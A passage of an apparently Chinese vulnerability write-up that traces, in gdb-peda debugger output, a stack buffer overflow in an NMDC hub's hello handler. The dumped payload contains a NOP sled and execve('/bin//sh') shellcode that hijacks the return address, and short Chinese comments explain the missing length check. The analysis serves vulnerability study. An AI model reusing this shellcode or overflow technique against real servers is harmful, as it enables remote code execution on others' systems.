ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EIP: 0x8053f77 (<proto_nmdc_state_hello+1431>:  call   0x8048df0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053f6e <proto_nmdc_state_hello+1422>: push   DWORD PTR [esp+0x30c]
   0x8053f75 <proto_nmdc_state_hello+1429>: push   ebx
   0x8053f76 <proto_nmdc_state_hello+1430>: push   esi
=> 0x8053f77 <proto_nmdc_state_hello+1431>: call   0x8048df0 <memcpy@plt>
   0x8053f7c <proto_nmdc_state_hello+1436>: add    esp,0xc
   0x8053f7f <proto_nmdc_state_hello+1439>: push   0x0
   0x8053f81 <proto_nmdc_state_hello+1441>: push   0x8
   0x8053f83 <proto_nmdc_state_hello+1443>: push   DWORD PTR [esp+0x30c]
Guessed arguments:
arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144 
[------------------------------------stack-------------------------------------]
0000| 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
0004| 0xbfffefb4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbfffefb8 --> 0x144 
0012| 0xbfffefbc --> 0xb7e4a5d0 (<_IO_str_init_static_internal+64>: )
0016| 0xbfffefc0 --> 0x79 ('y')
0020| 0xbfffefc4 --> 0x806c328 ("Pierre")
0024| 0xbfffefc8 --> 0x79 ('y')
0028| 0xbfffefcc --> 0x50 ('P')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()

memcpy会将整个畸形payload考入到缓冲区中，这个过程没有对payload的长度进行检查而是直接拷贝，可以看到从recv开始到memcpy都一直没有进行长度控制，接下来返回时。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EIP: 0x8053d2c (<proto_nmdc_state_hello+844>:   ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053d29 <proto_nmdc_state_hello+841>:  pop    esi
   0x8053d2a <proto_nmdc_state_hello+842>:  pop    edi
   0x8053d2b <proto_nmdc_state_hello+843>:  pop    ebp
=> 0x8053d2c <proto_nmdc_state_hello+844>:  ret    
   0x8053d2d <proto_nmdc_state_hello+845>:  lea    esi,[esi+0x0]
   0x8053d30 <proto_nmdc_state_hello+848>:  add    esp,0x2ec
   0x8053d36 <proto_nmdc_state_hello+854>:  xor    ebp,ebp
   0x8053d38 <proto_nmdc_state_hello+856>:  pop    ebx
[------------------------------------stack-------------------------------------]
0000| 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
0004| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0008| 0xbffff2c4 --> 0xb1b1b1b1 
0012| 0xbffff2c8 --> 0xb1b1b1b1 
0016| 0xbffff2cc --> 0xb1b1b1b1 
0020| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0028| 0xbffff2d8 --> 0xcacaca24

由于缓冲区溢出，导致返回地址被覆盖，到达可控位置。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:  push   esi
   0x8066a28 <buf+40>:  popa   
   0x8066a29 <buf+41>:  ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:  imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:  imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:  imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:  push   esi
   0x8066a3d <buf+61>:  outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08066a2a in buf ()

漏洞说明

漏洞复现

漏洞分析

Recommend

docker数据持久化

系统架构-设计模式及架构模式(干货)

产品小姐姐送这个给程序员小哥哥，小哥哥会喜欢吗？

用某高级奇迹暖暖捏的一个妹子，大家看看觉得怎样

如何看待拼多多热卖的纸尿裤来自黑工厂？ - 知乎

网络婚骗迭代：数据分析+场景营造

中通快递员上门取件捆绑强暴女客户涉事网点仍营业

GitHub - neonious/lowjs: A port of Node.JS with far lower system requirements. C...

你手机上装的最牛的软件是什么？

今天开始学日语了

About Joyk